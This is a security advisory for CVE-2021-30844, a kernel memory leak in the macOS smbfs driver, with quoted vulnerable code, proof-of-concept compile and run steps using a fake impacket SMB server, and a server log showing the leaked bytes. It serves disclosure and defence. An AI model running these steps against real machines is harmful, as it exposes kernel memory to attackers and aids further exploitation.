CVE: CVE-2021-30844

Tested Versions:

  • macOS BigSur 11.0 - 11.2.3

Product URL(s):

Description of the vulnerability

smbfs is a kext driver which handles SMB connection between the user and SMB Server. This vulnerability occurs in smbfs, which allows an attacker to leak kernel memory to achieve further exploitation.

The bug occurs on the SMBIOC_T2RQ ioctl handler. This handler first process user-mode input on function smb_usr_t2request

int
smb_usr_t2request(struct smb_share *share, struct smbioc_t2rq *dp, vfs_context_t context)
{
	//...
	/* ioc_name_len includes the null byte, ioc_kern_name is a c-style string */
	if (dp->ioc_kern_name && dp->ioc_name_len) {
		t2p->t_name = smb_memdupin(dp->ioc_kern_name, dp->ioc_name_len);
		if (t2p->t_name == NULL) {
			error = ENOMEM;
			goto bad;
		}
	}
	//...
}

smb_usr_t2request copy data from user-mode address (dp->ioc_kern_name) with size is dp->ioc_name_len which is controlled by attacker also. Later, this function will build a TCP package from this data and then send it to SMB Server. The field t2p->t_name is also included in the TCP package of this function.

int smb_t2_request(struct smb_t2rq *t2p)
{
	// ... 
    if (t2p->t_name)
		smb_put_dstring(mbp, SMB_UNICODE_STRINGS(sessionp), t2p->t_name, PATH_MAX, NO_SFM_CONVERSIONS);
	else	
		mb_put_uint8(mbp, 0);	/* No name so set it to null */
	// ... 
}

Take a look at smb_put_dstring in the following code snippet.

int smb_put_dstring(struct mbchain *mbp, int usingUnicode, const char *src, 
					size_t maxlen, int flags)
{
	int error;

	error = smb_put_dmem(mbp, src, strnlen(src, maxlen), flags, usingUnicode, NULL);
	if (error)
		return error;
	if (usingUnicode)
		return mb_put_uint16le(mbp, 0);
	return mb_put_uint8(mbp, 0);
}

smb_put_dstring will copy t2p->t_name into TCP package with strlen of t2p->t_name. The problem is when copy t2p->t_name from user-space, this code is not included NULL byte at the end, which leads to Out-of-Bounds Read if the 2p->t_name was malloc with the size of multiply by 16.

Attacker can craft an dp->ioc_kern_name with a buffer with size 0x40 bytes and set dp->ioc_name_len with 0x40 also, then request an ioctl to SMBIOC_T2RQ. SMBIOC_T2RQ will malloc and copy dp->ioc_kern_name to t2p->t_name with size 0x40 without checking NULL byte in the end. Later, SMBIOC_T2RQ copy t2p->t_name with strlen(t2p->t_name) into tcp package, if heap chunk of t2p->t_name was located next to some object, attacker can read data from this object.

Proof Of Concept

  • Compile smbfs_ooread_t2.c with the following command: clang -framework CoreFoundation -framework NetFS smbfs_ooread_t2.c -o smbfs_ooread_t2 -g
  • To run with newest macOS: run clang -framework CoreFoundation -framework NetFS smbfs_ooread_t2.c -o smbfs_ooread_t2 -g -D macOS11_3
  • Cloning fake smb server from https://github.com/SecureAuthCorp/impacket
  • Run the following script to start fake smb server: sudo python3 examples/smbserver.py -username peter -password share123 -debug -comment 'share' share ./
  • Execute command : ./smbfs_ooread_t2 <smb server>, the PoC will craft a t2_name with a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA string. If smbfs was not loaded, it will popup a window just click cancel to continue the exploit.
  • Check message receive from smb server, there are a high probability we will see some wired string on smb fake server.
 impacket git:(master) sudo python3 examples/smbserver.py -username peter -password share123 -debug  -comment 'share' share ./
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.122.3,49525)
[*] AUTHENTICATE_MESSAGE (EpwjTJzv\peter,IMACPRO)
[*] User IMACPRO\peter authenticated successfully
[*] peter::EpwjTJzv:aaaaaaaaaaaaaaaa:bd977ac819d64fd9d31bca4836bc57cd:010100000000000000c17f5bc01fd7014d6fc07f127c7074000000000100100063004e00740064006c0069004f006200020010004500700077006a0054004a007a0076000300100063004e00740064006c0069004f006200040010004500700077006a0054004a007a007600060004000200000007000800802ae75ac01fd7010900260063006900660073002f003100390032002e003100360038002e003100320032002e00320032000a001000000000000000000000000000000000000000000000000000
[-] Unsupported Transact command 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcom.apple.ResourceFork'
[*] Disconnecting Share(1:SHARE)
[*] Closing down connection (192.168.122.3,49525)
[*] Remaining connections []

As we see we expect server receive AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA but server receive AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcom.apple.ResourceFork.

Suggested Mitigations

  • Update to macOS latest if it is available.

Timeline

  • 2021-06-18 Vendor disclosure
  • 2021-09-13 Vendor patched